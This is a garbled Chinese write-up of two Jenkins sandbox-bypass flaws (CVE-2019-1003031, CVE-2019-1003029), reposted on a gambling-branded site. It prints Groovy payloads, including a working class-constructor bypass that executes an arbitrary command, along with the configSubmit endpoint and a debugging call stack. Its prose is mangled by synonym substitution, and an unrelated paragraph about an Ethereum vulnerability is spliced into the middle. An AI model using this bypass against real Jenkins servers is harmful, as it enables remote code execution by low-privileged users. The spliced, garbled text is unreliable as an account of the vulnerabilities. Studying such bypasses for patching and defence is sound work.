CVE-2019-1003031:[Jenkins]Matrix Project Plugin沙箱绕过破绽 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CVE-2019-1003031:[Jenkins]Matrix Project Plugin沙箱绕过破绽

申博_新闻事件 申博 91次浏览 未收录 0个评论

[1] CVE-2019-1003031:[Jenkins]Matrix Project Plugin 沙箱绕过

Matrix Project插件用于构建“多设置装备摆设项目”,如多情况测试、平台指定构建等。
在其设置装备摆设过程当中接收用户指定的Groovy Script,在Matrix Project Plugin <= 1.13中存在沙箱被绕过的破绽。
影响版本:Matrix Project Plugin <= 1.13
应用前提:具有Job/Configure 权限的用户
修复发起:升级到1.14或以上

[2] CVE-2019-1003029:[Jenkins]Script Security Plugin 沙箱绕过

Script Security插件集成在Jenkins的种种功用插件(好比Matrix Project插件)中,能够用来治理普通用户实行Groovy剧本的权限。
Jenkins的Script Security插件 <= 1.53中存在沙箱被绕过的破绽。
影响版本:Script Security Plugin <= 1.53
应用前提:具有Overall/Read 权限的用户
修复发起:升级到1.54或以上(考虑到CVE-2019-1003040,需升级到1.56或以上)
参考:
https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336
https://nvd.nist.gov/vuln/detail/CVE-2019-1003029

前一段时间,Jenkins官方的平安公告报了好几个严峻破绽,然则能够人人在狂欢Orange大佬的谁人未受权RCE
看了Matrix Project Plugin相干的引见
得知这个插件是在建立Job的时刻,挑选项目范例的处所表现的:

经由过程检察各个项的资助信息,找到了输入Groovy剧本的处所:
在预备应用Matrix Project Plugin破绽的时刻,发明本身输入的剧本要么是花样纰谬,要么是碰到了Groovy剧本平安性搜检,也就是某些要领或许关键字不允许运用。

先是试了这个payload:

(new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start())==""

但是发明不克不及挪用ProcessBuilder:

厥后又用了:

("".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator"))==""

效果:

联想到之前Orange在博客里说的,需连系几个破绽来应用,倏忽邃晓,由于Script Security插件就是对Jenkins的种种用到了Groovy剧本功用处举行平安搜检的,以是需连系这个Script Security搜检绕过破绽CVE-2019-1003029来完成代码实行。

厥后翻了一下Orange的博客下的批评。这里批评说,实在并不一定要用Meta Programming来完成,CVE-2019-1003029的作者webpentest给出了绕过要领:

CVE-2018-12067及相似破绽剖析与相干思索

一、前言 最近审计了一波以太坊CVE,本章中提及的漏洞包含了众多问题,不仅包括代码上的漏洞,还包括由于函数设计问题而导致的金融学上的漏洞。在分析漏洞之余,我也对本文出现的问题进行进一步思考,并将感想分享给读者。 该漏洞仅为这一类漏洞的代表,与其相关的类似合约还有许多,这里仅使用最有代表性一个来进行分析演示。 首先需要简单的介绍一下相关背景。本文安全隐患是以PolyAI 、Substratum为代表的一类项目。Substratum项目主要是打造基于区块链的网络, 简而言之,就是重构现在的互联网服务,包括 DNS, 网络空间存储等,其中解决“国际性网络封锁” ,完全为中国定制,可以解决国内需要通过VPN服务才可以翻墙访问国外网站的问题。从官网看来,开发者应该很了解中国国情,网站和白皮书的中文都下了很多功夫,做得很地道,证明开发团队非常重视中国市场。 POLY AI 聚焦于基于深度学习的人工智能,谷歌、苹果、Facebook最近在这个领域贡献了巨大的成果,POLY AI 使用区块链技术来解决深度学习训练过程中的计算消耗和数据源问题,而且区块链也比所有传统技术更能够提供安全保障。 这些币种的实用性很强,均为某个领域提供支持。 二、问题所在 该类型的应用包括三类问

public class Tst {
public Tst()
"your cmd here".execute()
}
}

有时刻修复破绽的commit中的test也能够给我们一些信息,由于作者修复了一个破绽,需要写一个test来考证这个破绽是不是真的修复了。

  • Script Security插件破绽修复的commit:
    https://github.com/jenkinsci/script-security-plugin/commit/f2649a7c0757aad0f6b4642c7ef0dd44c8fea434
  • matrix project插件破绽修复的commit:
    https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7

两个处所都提到了DoNotRunConstructor。看这个类名:DoNotRunConstructor(不实行组织器)
预测这里主如果考证这个组织器里的代码不会被实行。能够考证webpentest的思绪实在就是在类的组织器里实行代码,而不是反射或许Runtime、new之类的体式格局。
我在运用的时刻,发明public关键字不克不及运用,因而去掉了public,改成了:

class poc{
poc(){
"/Applications/Calculator.app/Contents/MacOS/Calculator".execute()
}
}

Demo

具有Job/Configure 权限的用户登录,然后新建一个Job,挑选构建一个多设置装备摆设项目,点击OK,然后在接下来的

调试

情况:

  • Jenkins:1.150.3
  • Matrix Project Plugin:1.13
  • Script Security Plugin:1.53

依据commit的和破绽形貌,在hudson/matrix/FilterScript.javaevaluate()要领下断点。

POST /jenkins_2_150_3/job/cqq/configSubmit

挪用栈为:

parse:117, FilterScript (hudson.matrix)
parse:105, FilterScript (hudson.matrix)
evalGroovyExpression:101, Combination (hudson.matrix)
evalGroovyExpression:91, Combination (hudson.matrix)
rebuildConfigurations:658, MatrixProject (hudson.matrix)
submit:959, MatrixProject (hudson.matrix)
doConfigSubmit:1350, Job (hudson.model)
doConfigSubmit:772, AbstractProject (hudson.model)

个中combinationFilter参数的值为我们指定的payload。

CVE-2019-1003031:[Jenkins]Matrix Project Plugin沙箱绕过破绽
这里就到了groovy.lang.GroovyShell#parse(String)了。注重这里只是剖析传入的字符串剧本,然后返回响应的groovy.lang.Script对象。

Parses the given script and returns it ready to be run

参考:Groovy官方文档)

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CVE-2019-1003031:[Jenkins]Matrix Project Plugin沙箱绕过破绽
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址